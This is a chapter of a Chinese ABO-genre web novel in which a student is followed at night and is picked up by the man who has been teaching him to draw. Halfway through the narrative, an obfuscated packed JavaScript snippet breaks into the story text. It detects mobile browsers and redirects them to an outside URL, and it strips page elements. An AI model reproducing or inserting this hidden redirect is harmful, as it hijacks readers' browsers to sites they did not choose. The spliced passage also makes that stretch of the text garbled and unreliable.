手机对面的人顿时一笑:“再次证实,会更让人兴奋。” 此前将覃阮送到医院实验科室时,秦一祝与顾砚庭有过一段交流,便已经有了初步猜测。 覃阮和顾砚庭的匹配度应该不低,至少高于60%。不然无法解释两人对互相的信息素如此敏感,且顾砚庭这个闷骚老流氓还起了反应。 但这一切都得经过检测证实才行。覃阮是Omega实验室那边的志愿者,这秦一祝能猜测到。但实验室的信息是保密的,Omega科室那边又只归祈医生管,他一Alpha科室的医生没有获取其信息的权利。 当然,如果覃阮真的是志愿者,那他的信息素肯定已经存档在实验室里,只要向祈医生申请获取即可采用,但那份信息素不会保留志愿者的信息,只是一份信息素而已。 “实验室最新有四份Omega志愿者的信息素,如果我没猜错,覃阮应该会是其中之一,我先申请采用那四份信息素给你治疗试试,要是没有他的,那就只是去找覃阮本人帮忙了。”秦一祝说罢迫不及待想挂断电话,又倏然一顿,问起:“你最近在忙什么?回来后那几天假工作室都没去。” 顾宴庭手握策案,眉目平静:“给一个挺有脾气的小画家讲课。” “什么?”秦一祝没懂,“哥们儿你又拓展新业务了?” 顾砚庭将免提挂掉,拿起手机:“没事挂了。” 不等对方再说话直接挂断,然后打开聊天软件私人号,正上方正巧是某个小画家一连几条信息。 覃阮:【你今天有空吗?】 覃阮:【图片】 覃阮:【我按你教的方式改,你看看怎么样?】 覃阮:【猫猫探头.jpg】 顾砚庭盯着那只猫猫探头表情包看了片刻,点开覃阮发来的图片瞧一眼,退出回复。 人在画室呆了整天的覃阮终于等到消息,忙拿起手机。 顾砚庭:【我没记错,石膏是白色?】 覃阮眨眼,下意识看向教室中央的石膏,低头回复:【是的。】 顾砚庭:【灰面和交界线压这么深,是打算给它换个色?】 覃阮:“……” 这家伙,就不能好好说话吗…… 覃阮耐着性子回:【我知道了,要提亮。】 顾砚庭:【软橡皮擦淡。】 看着对方的回复,覃阮深吸一口气,今天内第三次问014:“我为什么会考上这个专业?” 014嘿嘿笑两声:【都主脑随机分配,宿主加油。】 脑意识里那面大旗帜又在为他摇旗助威,覃阮精神怏怏,坐回位置修改画面。 小长假结束到现在已有好几天,距离结课不远,覃阮上午上课,下午没课也来教室,每天都在赶进度。现在时间挺晚,教室里只剩他一人。顾霄这周很忙,好像是家里有事,下课就匆匆往家里赶,覃阮已经几天形单影只了。 踩着夜幕降临前离开教室,往宿舍走的间隙,覃阮去校内水果摊买了一斤苹果,边走边回忆画面问题。 路过中门时,他停住脚步,往校外的灯火璀璨看了看。 014顿时警觉:【怎么了宿主?】 覃阮沉诚实道:“我有点想喝苹果汁。” 【……】014沉默,委婉提出:【你这周已经喝第三次了。】 覃阮当然知道,但苹果汁真的很好喝,他斟酌道:“那就喝这周最后一杯。” 014无话可说,只能看着他的宿主往校外走。但很可惜,校外最近那家鲜榨果蔬店已经关门,覃阮耷拉着肩,却没打算就此返回,他拿出手机看了眼,离这里最近一家在二校区对门。 时间还早,就当散步。他转身往二期走,抵达后如愿买到苹果汁,但味道没有之前那几被杯好,喝几口提在手里,沿途返回。 返程路上经过附近小区,路上人渐少,覃阮挨着人行道内侧走,经过一盏不太明亮的路灯时,脑海里的014忽然提醒他:【宿主,后面有人跟着你。】 覃阮蹙眉,却没减缓脚步,回忆来时的路线,心里一凉:【前面好像有一段人更少的路,你觉得我全力跑过去,会被抓住吗?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702551|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 014委婉表示:【虽然014不想打击宿主,但后面那家伙身形看着像Alpha,你可能跑不过。】 覃阮沉默,又提议:【那如果,我全力和他拼一下……】 014:【不可能。】 “……” 事实上,覃阮自己也想到了不太可能。他捏紧手里的东西,目视前往唯一的返程道路,心里打着鼓。 【这里是小区附近。】014出主意,【宿主你保持这个速度往前走别回头,如果那家伙真敢冲上来,你就大叫着火了!】 覃阮在心里“嗯”了一声,保持匀速走半晌,又想到个法子:【你觉得,我现在拿手机报警,会惊动后面的人吗?】 014:【有点冒险。】 【……】覃阮的手心里浸出些汗,低头看着自己的影子:【要是有人给我发消息来,就顺理成章很多。】 但他在这个世界最熟的人只有顾霄,顾霄最近很忙,也不会无端来找他。 覃阮心里紧张,下一刻兜里的手机真响了一声,他像抓到救命稻草般眼睛明亮,摸出手机看,来消息的人是顾砚庭。 顾砚庭:【大色调和谐了再做细节,现在细节别动。】 覃阮心跳如鼓,他绷直唇线,低头边走边回复:【嗯。】 想着应该还发点什么,慌张急了想不出话题,于是找了个人类间很官方的交流话术:【你吃晚饭了吗?】 对面死寂,覃阮很害怕对方不再回复,他抓紧手机,思忖着要不要直接打视频电话过去,这时顾砚庭来消息了。 顾砚庭:【你在哪?】 覃阮喉头滑动:【在校外。】 顾砚庭:【定位。】 覃阮愣住,问014:【什么定位?】 014向他解释:【给他发你的位置,你点输入框右边的加号,里面有。】 覃阮照做,发出去后盯着静止的交流界面发愣,问:【你要来吗?】 没有回应,但不出一分钟,前方漆黑的道路出现两抹明亮的车灯,几秒后那车停在他旁边,顾砚庭下车来看着覃阮,视线往后移,看见后方只距离覃阮不到三米远的男人。 男人带着鸭舌帽,看见来人后脚步顿了顿,压低鸭舌帽转个弯往旁边小区里走了。 覃阮回头时只看见个背影,他收回目光望着顾砚庭:“你在学校附近?” 顾砚庭不答反问:“来这地方做什么?” 覃阮有点尴尬,但还是实话实说:“买苹果汁。” 顾砚庭:“……” 他眯眼看看手里又是苹果又是苹果汁的覃阮,没说什么,转身:“上车。” 覃阮往车边走,思忖半晌上了副驾驶,系好安全带后没忍住说:“我没想到你会来,还来这么快。” 才送从家庭纷争中出来的顾霄到学校,也没想到会再送覃阮回去的顾砚庭沉默,平静地开口:“你胆子挺大,不怕?” “……”覃阮很诚实,“还是有点怕的。” 顾砚庭看他一眼:“苹果汁可以点配送,下次晚上别一个走这边来买。” 覃阮捏捏指节:“知道了。” 又抬起头看向顾砚庭,很认真地说:“谢谢你。” 顾砚庭不语,沿路把人送回学校。抵达后,覃阮解开安全带,没着急下车,他从袋子里拿出最大最红那颗苹果,递过去塞在顾砚庭手里,笑一笑:“请你吃苹果,虽然你不喜欢,但我现在没别的东西感谢你。” 覃阮弯着眼眸,拿出学到的人类社交最高礼仪:“顾砚庭,等你哪天有空了,我请你吃饭吧。” 副驾驶的车门打开又关上,下车后绕过来往中门去的Omega走两步又回过头,对车里的顾阳庭挥挥手:“再见。” 人彻底走没影了,顾砚庭才收回目光,看着掌心里那枚鲜红饱满的苹果,出神地想着事,脑海里却渐渐被覃阮刚才的笑占据。 手机声响将他的神志换回,他把苹果放去旁边,拿起手机看,是秦一祝。 秦一祝:【申请批下来了,四位志愿者的信息素可以使用,你什么时候过来?】 顾砚庭看了眼时间,手机里堆积着最近公司的事务,最新的大项目刚开始做,会很忙,于是回复:【下周日】 敲定时间,他放下手机,脑子里还是覃阮那张笑脸盈盈的脸。顾砚庭缓慢的蹙了下眉,对自己突兀而起的反常感到不解,他拿出小熊猫玩偶在手掌里盘弄,试图将莫名而起的燥郁藏下去。 才返回宿舍的覃阮站定在门内,感受到右脸被捏了一下,热热的,他伸手触碰脸,轻声嘀咕:“又在捏玩偶……” 算了,顾砚庭是好人,不和他计较。